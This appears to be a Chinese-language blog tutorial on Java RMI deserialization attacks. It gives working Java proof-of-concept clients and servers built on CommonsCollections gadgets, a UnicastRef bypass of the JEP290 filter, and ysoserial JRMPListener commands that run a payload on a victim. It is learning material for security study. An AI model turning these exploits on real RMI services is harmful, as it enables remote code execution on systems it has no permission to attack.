RMI反序列化攻击1

简介

互打

Client攻击Server

恶意参数

Server 端的调用方法存在非基础类型的参数时,就可以被恶意 Client 端传入恶意数据流触发反序列化漏洞。

漏洞触发点

调试节有提过,sun.rmi.server.UnicastRef#unmarshalValue

image.png

Object参数

Server上的远程对象的参数有Object类型,Client就可以传恶意序列化数据过去,Server接收的时候会反序列化。

1
2
3
4
public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
public void getObj(Object obj) throws RemoteException;
}

image.png

如果参数类型不为Object,也可以通过以下方法来绕过

Server攻击Registry

攻击bind&rebind方法

漏洞触发点:sun.rmi.registry.RegistryImpl_Skel#dispatch

image.png

AnnotationInvocationHandler 来代理 Remote 接口让其能够在bind方法里面被反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.SAR;

import com.exploit.CC6;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Map;

public class BadClient2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InvocationTargetException, InstantiationException, RemoteException, NoSuchMethodException {
Map map = (Map) CC6.getCC6();

//使用AnnotationInvocationHandler动态代理实现Remote接口
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler o=(InvocationHandler)AnnotationInvocationHandlerConstructor.newInstance(Target.class,map);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, o));
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
try {
registry.bind("fuck",r);
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}

image.png

原因是sun.rmi.registry.RegistryImpl#registryFilter里的白名单

JEP290的限制,也就是下面这个补丁之后加入的白名单

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l388

第一次遇到,为之后再详细去看他铺垫

JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,描述网址点这里。这是一个针对 JAVA 9 提出的安全特性,但同时对 JDK 6,7,8 都进行了支持,在 JDK 6u141、JDK 7u131、JDK 8u121 版本进行了更新。

JEP 290 主要提供了几个机制:

  • 提供了一种灵活的机制,将可反序列化的类从任意类限制为上下文相关的类(黑白名单);
  • 限制反序列化的调用深度和复杂度;
  • 为 RMI export 的对象设置了验证机制;
  • 提供一个全局过滤器,可以在 properties 或配置文件中进行配置。

image.png

参考:http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/

UnicastRef绕过JEP290

bypass这里可以单独整理

用UnicastRef对象新建一个RMI连接绕过JEP290的限制,配合ysoserial中的JRMPListener模块

8u121<=jdk<=8u231

  1. ysoserial启动一个恶意的JRMPListener
  2. 启动注册中心
  3. 启动Client调用bind()操作
  4. 注册中心被反序列化攻击
1
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "calc.exe"

Client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.CAR;

import com.demo02.IHello;
import com.exploit.CC6;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Map;
import java.util.Random;

public class BadClient3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.getRegistry(1099);

ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(IHello.class.getClassLoader(), new Class[]{
Registry.class
}, obj);
registry.bind("hello", proxy);
}
}

Server攻击Client

Server返回给Client远程方法调用结果的时候,会序列化传输

服务端收到会反序列化触发漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.SAC;

import com.demo02.RMIServer;
import com.exploit.CC6;

import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class BadServer1 {
//Server攻击Client
public class RCalc extends UnicastRemoteObject implements ICalc {
protected RCalc() throws RemoteException {
super();
}

@Override
public Object calc() throws Exception {
Object map = CC6.getCC6();
return map;
}
}

private void register() throws Exception{
RCalc rCalc = new RCalc();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/calc",rCalc);
System.out.println("Registry运行中......");
}

public static void main(String[] args) throws Exception {
new BadServer1().register();
}
}

Registry攻击Client

可以用ysoserial搭建恶意Registry来打Client

1
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "calc.exe"
1
2
3
4
5
6
7
8
9
10
11
package com.SAC;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient3 {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(3333);
registry.list();
}
}